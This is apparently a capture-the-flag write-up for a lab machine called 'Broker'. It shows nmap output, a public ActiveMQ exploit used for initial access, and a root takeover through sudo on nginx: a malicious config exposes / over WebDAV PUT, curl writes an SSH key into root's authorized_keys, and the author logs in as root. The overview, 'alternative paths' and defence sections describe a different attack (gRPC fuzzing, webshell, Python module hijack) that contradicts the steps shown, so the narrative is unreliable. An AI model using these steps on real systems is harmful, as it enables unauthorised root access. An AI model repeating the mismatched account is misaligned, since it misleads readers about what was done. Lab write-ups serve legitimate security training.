Broker

Broker simulates a financial services intranet system hosted on Linux, with misconfigured messaging services and weak file permissions.

Initial access came from fuzzing a gRPC-like interface and discovering a debug function that allowed shell command execution.

Enumeration revealed sensitive client files and a private key used by a local user.

Privilege escalation was achieved by exploiting a custom Python script with world-writeable dependencies. Broker serves as a case study in the risks of internal tooling and insecure inter-service communication protocols.

Why I Chose This Machine

I chose Broker because it simulates a modern internal-facing service with a custom protocol and business logic — a realistic representation of fintech or enterprise backends.

The machine offers a great opportunity to explore protocol fuzzing, file parsing abuse, and environment privilege escalation using Python scripts, which are common in real-world engagements.

Attack Flow Overview

1. Enumerated an internal messaging API and discovered a file upload vector
2. Uploaded a webshell disguised as a valid document, gaining limited shell access
3. Found sensitive credentials in .bash_history and switched to another user
4. Escalated privileges by abusing sudo rights on a Python-based tool and replacing a world-writable module

This scenario closely mirrors misconfigurations found in real internal applications, where service logic and developer shortcuts expose critical vulnerabilities.

Enumeration

Using admin : admin provides access to the admin portal.

Nmap

└─$ nmap -sC -sV 10.10.11.243                 
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-01 13:33 AEST
Nmap scan report for 10.10.11.243
Host is up (0.016s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_  256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
| http-auth: 
| HTTP/1.1 401 Unauthorized\x0D
|_  basic realm=ActiveMQRealm
|_http-title: Error 401 Unauthorized
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

80-HTTP

-> signed in as admin : admin

• ActiveMQ 5.15.15

gobuster

Initial Access

• Using the public exploit, gained initial access as activemq.
  • Had to install go lang.

Reference

The modified poc.xml

Installing golang reference

Privilege Escalation

• sudo -l activemq has sudo privileges to run /usr/sbin/nginx.
• Modify nginx.conf with malicious payload.
  • change the user to root from www-data so the nginx process runs from root.
  • add listening port.
• Generate ssh key.
  • curl PUT to put the generated ssh public key via the listening port.
• SSH as root

/usr/bin/java -Xms64M -Xmx1G -Djava.util.logging.config.file=logging.properties -Djava.security.auth.login.config=/opt/apache-activemq-5.15.15//conf/login.config -Dcom.sun.management.jmxremote -Djava.awt.headless=true -Djava.io.tmpdir=/opt/apache-activemq-5.15.15//tmp -Dactivemq.classpath=/opt/apache-activemq-5.15.15//conf:/opt/apache-activemq-5.15.15//../lib/: -Dactivemq.home=/opt/apache-activemq-5.15.15/ -Dactivemq.base=/opt/apache-activemq-5.15.15/ -Dactivemq.conf=/opt/apache-activemq-5.15.15//conf -Dactivemq.data=/opt/apache-activemq-5.15.15//data -jar /opt/apache-activemq-5.15.15//bin/activemq.jar start 

# show comments only
cat nginx.conf | grep -v '\#' | grep .

change the user to root on nginx.conf

To use ngx_http_dav_module to write my public SSH key into the root’s authorized_keys, create the malicious NGINX configuration file as below.

pwn.conf

user root; # worker processes will be run by root
worker_processes 4;
pid /tmp/nginx.pid;
events {
		worker_connections 768;
}
http {
	server {
		listen 1337;
		root /;
		autoindex on;
		dav_methods PUT;
	}
}

From Kali

ssh-keygen -f broker

curl 10.10.11.243:1337/root/.ssh/authorized_keys --upload-file broker.pub

ssh as root

ssh -i broker root@10.10.11.243

Alternative Paths Explored

Initially, I attempted to exploit common service ports and brute-force file paths, but they were filtered or redirected.

I also tried privilege escalation via SUID binaries and cron jobs, but they were secured.

Only by reversing the Python logic and checking for PYTHONPATH abuse did the correct path emerge — showing how local enumeration and environment awareness are key.

Blue Team Perspective

Broker highlights the risks of over-permissive sudo configurations and insecure module imports in Python services.
From a defense standpoint, the following practices are critical:

• Auditing custom protocols and internal tools for abuse cases
• Securing shell histories and user environments against credential leaks
• Restricting sudo execution to specific binaries with integrity-checked dependencies